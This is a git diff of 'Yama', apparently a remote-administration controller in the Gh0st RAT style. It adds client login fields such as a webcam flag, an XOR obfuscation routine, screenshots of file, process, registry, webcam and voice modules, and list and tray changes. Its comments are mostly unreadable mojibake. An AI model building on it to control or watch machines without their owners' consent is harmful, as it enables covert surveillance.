// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ˽ṹ<CBBD>壬<EFBFBD><E5A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ټ<EFBFBD><D9BC><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
typedef struct LOGIN_INFOR
|
||||||
|
{
|
||||||
|
unsigned char bToken; // 1.<2E><>½<EFBFBD><C2BD>Ϣ
|
||||||
|
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
|
unsigned long dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||||
|
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
||||||
|
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
|
unsigned long dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||||
|
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
char szReserved[512]; // 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
|
||||||
|
|
||||||
|
LOGIN_INFOR(){
|
||||||
|
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||||
|
strcpy_s(moduleVersion, DLL_VERSION);
|
||||||
|
}
|
||||||
|
}LOGIN_INFOR;
|
||||||
|
|
||||||
|
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
|
||||||
|
for (char key : keys) {
|
||||||
|
for (int i = 0; i < len; ++i) {
|
||||||
|
data[i] ^= key;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
BIN
images/Console.png
Normal file
|
After Width: | Height: | Size: 64 KiB |
BIN
images/FileManage.png
Normal file
|
After Width: | Height: | Size: 66 KiB |
BIN
images/Process.png
Normal file
|
After Width: | Height: | Size: 123 KiB |
BIN
images/Register.png
Normal file
|
After Width: | Height: | Size: 73 KiB |
BIN
images/Remote.png
Normal file
|
After Width: | Height: | Size: 129 KiB |
BIN
images/Service.png
Normal file
|
After Width: | Height: | Size: 118 KiB |
BIN
images/TestRun.png
Normal file
|
After Width: | Height: | Size: 93 KiB |
BIN
images/Video.png
Normal file
|
After Width: | Height: | Size: 108 KiB |
BIN
images/Voice.png
Normal file
|
After Width: | Height: | Size: 14 KiB |
BIN
images/Window.png
Normal file
|
After Width: | Height: | Size: 66 KiB |
BIN
images/Yama.png
Normal file
|
After Width: | Height: | Size: 165 KiB |
@@ -15,6 +15,7 @@
|
|||||||
<RootNamespace>My2015Remote</RootNamespace>
|
<RootNamespace>My2015Remote</RootNamespace>
|
||||||
<Keyword>MFCProj</Keyword>
|
<Keyword>MFCProj</Keyword>
|
||||||
<ProjectName>Yama</ProjectName>
|
<ProjectName>Yama</ProjectName>
|
||||||
|
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
@@ -22,7 +23,7 @@
|
|||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
<UseOfMfc>Static</UseOfMfc>
|
<UseOfMfc>Static</UseOfMfc>
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
<PlatformToolset>v110_xp</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
@@ -30,7 +31,7 @@
|
|||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
<UseOfMfc>Static</UseOfMfc>
|
<UseOfMfc>Static</UseOfMfc>
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
<PlatformToolset>v110_xp</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
<ImportGroup Label="ExtensionSettings">
|
<ImportGroup Label="ExtensionSettings">
|
||||||
@@ -44,9 +45,13 @@
|
|||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
@@ -196,6 +201,7 @@
|
|||||||
<Image Include="res\Bitmap_5.bmp" />
|
<Image Include="res\Bitmap_5.bmp" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\toolbar1.bmp" />
|
||||||
<Image Include="res\toolbar2.bmp" />
|
<Image Include="res\toolbar2.bmp" />
|
||||||
|
<Image Include="res\webcam.ico" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
|||||||
@@ -305,5 +305,8 @@
|
|||||||
<Image Include="res\Bitmap_5.bmp">
|
<Image Include="res\Bitmap_5.bmp">
|
||||||
<Filter>资源文件</Filter>
|
<Filter>资源文件</Filter>
|
||||||
</Image>
|
</Image>
|
||||||
|
<Image Include="res\webcam.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -26,7 +26,9 @@
|
|||||||
|
|
||||||
#define UM_ICONNOTIFY WM_USER+100
|
#define UM_ICONNOTIFY WM_USER+100
|
||||||
|
|
||||||
|
// <20>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>飨<EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
|
||||||
std::vector<CFileManagerDlg *> v_FileDlg;
|
std::vector<CFileManagerDlg *> v_FileDlg;
|
||||||
|
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>飨<EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
|
||||||
std::vector<CRegisterDlg *> v_RegDlg;
|
std::vector<CRegisterDlg *> v_RegDlg;
|
||||||
|
|
||||||
enum
|
enum
|
||||||
@@ -37,41 +39,47 @@ enum
|
|||||||
ONLINELIST_OS, //<2F><><EFBFBD><EFBFBD>ϵͳ
|
ONLINELIST_OS, //<2F><><EFBFBD><EFBFBD>ϵͳ
|
||||||
ONLINELIST_CPU, //CPU
|
ONLINELIST_CPU, //CPU
|
||||||
ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
||||||
ONLINELIST_PING //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
ONLINELIST_PING, //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||||
|
ONLINELIST_VERSION, // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
|
ONLINELIST_LOGINTIME, // <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ONLINELIST_MAX,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
typedef struct
|
typedef struct
|
||||||
{
|
{
|
||||||
char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
const char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
|
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
|
||||||
}COLUMNSTRUCT;
|
}COLUMNSTRUCT;
|
||||||
|
|
||||||
|
const int g_Column_Count_Online = ONLINELIST_MAX; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
COLUMNSTRUCT g_Column_Data_Online[] =
|
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
|
||||||
{
|
{
|
||||||
{"IP", 148 },
|
{"IP", 148 },
|
||||||
{"<EFBFBD>˿<EFBFBD>", 150 },
|
{"<EFBFBD>˿<EFBFBD>", 64 },
|
||||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 },
|
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 },
|
||||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 128 },
|
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 256 },
|
||||||
{"CPU", 80 },
|
{"CPU", 80 },
|
||||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 81 },
|
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
|
||||||
{"PING", 151 }
|
{"PING", 100 },
|
||||||
|
{"<EFBFBD>汾", 80 },
|
||||||
|
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>", 150 },
|
||||||
|
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 50 },
|
||||||
};
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
int g_Column_Count_Online = 7;
|
|
||||||
|
|
||||||
COLUMNSTRUCT g_Column_Data_Message[] =
|
const int g_Column_Count_Message = 3; // <20>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD>
|
||||||
|
|
||||||
|
COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] =
|
||||||
{
|
{
|
||||||
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 },
|
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 },
|
||||||
{"ʱ<EFBFBD><EFBFBD>", 200 },
|
{"ʱ<EFBFBD><EFBFBD>", 200 },
|
||||||
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 }
|
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 }
|
||||||
};
|
};
|
||||||
|
|
||||||
int g_Column_Count_Message = 3; //<2F>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD>
|
|
||||||
|
|
||||||
|
|
||||||
int g_Column_Online_Width = 0;
|
int g_Column_Online_Width = 0;
|
||||||
int g_Column_Message_Width = 0;
|
int g_Column_Message_Width = 0;
|
||||||
IOCPServer *m_iocpServer = NULL;
|
IOCPServer *m_iocpServer = NULL;
|
||||||
@@ -114,15 +122,14 @@ END_MESSAGE_MAP()
|
|||||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/)
|
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||||
: CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
|
||||||
{
|
{
|
||||||
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
||||||
|
|
||||||
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
||||||
m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE);
|
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
|
||||||
|
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
|
||||||
|
|
||||||
m_iCount = 0;
|
|
||||||
InitializeCriticalSection(&m_cs);
|
InitializeCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -149,6 +156,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
|
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
|
||||||
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
||||||
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
||||||
|
ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
|
||||||
ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
|
ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
|
||||||
|
|
||||||
ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
|
ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
|
||||||
@@ -187,19 +195,16 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
|
|||||||
switch ((UINT)lParam)
|
switch ((UINT)lParam)
|
||||||
{
|
{
|
||||||
case WM_LBUTTONDOWN:
|
case WM_LBUTTONDOWN:
|
||||||
case WM_LBUTTONDBLCLK:
|
|
||||||
{
|
{
|
||||||
if (!IsWindowVisible())
|
if (IsIconic())
|
||||||
{
|
{
|
||||||
ShowWindow(SW_SHOW);
|
ShowWindow(SW_SHOW);
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
else
|
ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW);
|
||||||
{
|
SetForegroundWindow();
|
||||||
ShowWindow(SW_HIDE);
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case WM_RBUTTONDOWN:
|
case WM_RBUTTONDOWN:
|
||||||
{
|
{
|
||||||
CMenu Menu;
|
CMenu Menu;
|
||||||
@@ -218,8 +223,7 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::CreateSolidMenu()
|
VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||||
{
|
{
|
||||||
HMENU hMenu; //SDK C MFC C++
|
HMENU hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
|
||||||
hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
|
|
||||||
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
|
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
|
||||||
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
|
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
|
||||||
}
|
}
|
||||||
@@ -241,7 +245,7 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::CreateNotifyBar()
|
VOID CMy2015RemoteDlg::CreateNotifyBar()
|
||||||
{
|
{
|
||||||
#if SHOW_NOTIFY
|
#if INDEPENDENT
|
||||||
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ
|
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ
|
||||||
m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD>
|
m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD>
|
||||||
m_Nid.uID = IDR_MAINFRAME; //icon ID
|
m_Nid.uID = IDR_MAINFRAME; //icon ID
|
||||||
@@ -317,8 +321,6 @@ VOID CMy2015RemoteDlg::InitControl()
|
|||||||
}
|
}
|
||||||
|
|
||||||
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||||
|
|
||||||
SetTimer(0,3000,NULL); // <20><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD>
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -327,11 +329,26 @@ VOID CMy2015RemoteDlg::TestOnline()
|
|||||||
ShowMessage(true,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>...");
|
ShowMessage(true,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>...");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool IsExitItem(CListCtrl &list, DWORD_PTR data){
|
||||||
|
for (int i=0,n=list.GetItemCount();i<n;i++)
|
||||||
|
{
|
||||||
|
DWORD_PTR v = list.GetItemData(i);
|
||||||
|
if (v == data) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
||||||
CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject)
|
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject)
|
||||||
{
|
{
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
|
if (IsExitItem(m_CList_Online, (DWORD)ContextObject)) {
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(),strIP);
|
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(),strIP);
|
||||||
|
|
||||||
@@ -341,9 +358,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU);
|
m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU);
|
||||||
m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo);
|
m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo);
|
||||||
m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing);
|
m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing);
|
||||||
|
m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver);
|
||||||
|
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st);
|
||||||
|
m_CList_Online.SetItemText(i, ONLINELIST_CLIENTTYPE, tp.IsEmpty()?"DLL":tp);
|
||||||
|
|
||||||
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
|
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
|
||||||
m_iCount++;
|
|
||||||
|
|
||||||
ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
@@ -352,24 +371,19 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
|
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
|
||||||
{
|
{
|
||||||
CString strIsOK,strTime;
|
CTime Timer = CTime::GetCurrentTime();
|
||||||
CTime Timer =CTime::GetCurrentTime(); //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>CTime <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> t ʹ<><CAB9><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>GetCurrentTime() <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SDK<44><4B><EFBFBD><EFBFBD>
|
CString strTime= Timer.Format("%H:%M:%S");
|
||||||
strTime= Timer.Format("%H:%M:%S");
|
CString strIsOK= bOk ? "ִ<EFBFBD>гɹ<EFBFBD>" : "ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
|
||||||
if (bOk)
|
|
||||||
{
|
|
||||||
strIsOK="ִ<EFBFBD>гɹ<EFBFBD>";
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
strIsOK="ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
|
|
||||||
}
|
|
||||||
m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
m_CList_Message.SetItemText(0,1,strTime);
|
m_CList_Message.SetItemText(0,1,strTime);
|
||||||
m_CList_Message.SetItemText(0,2,strMsg);
|
m_CList_Message.SetItemText(0,2,strMsg);
|
||||||
|
|
||||||
CString strStatusMsg;
|
CString strStatusMsg;
|
||||||
|
|
||||||
m_iCount=(m_iCount<=0?0:m_iCount); //<2F><>ֹiCount <20><>-1<><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
EnterCriticalSection(&m_cs);
|
||||||
|
int m_iCount = m_CList_Online.GetItemCount();
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
strStatusMsg.Format("<EFBFBD><EFBFBD>%d<><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",m_iCount);
|
strStatusMsg.Format("<EFBFBD><EFBFBD>%d<><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",m_iCount);
|
||||||
m_StatusBar.SetPaneText(0,strStatusMsg); //<2F><>״̬<D7B4><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
m_StatusBar.SetPaneText(0,strStatusMsg); //<2F><>״̬<D7B4><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||||
@@ -406,7 +420,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
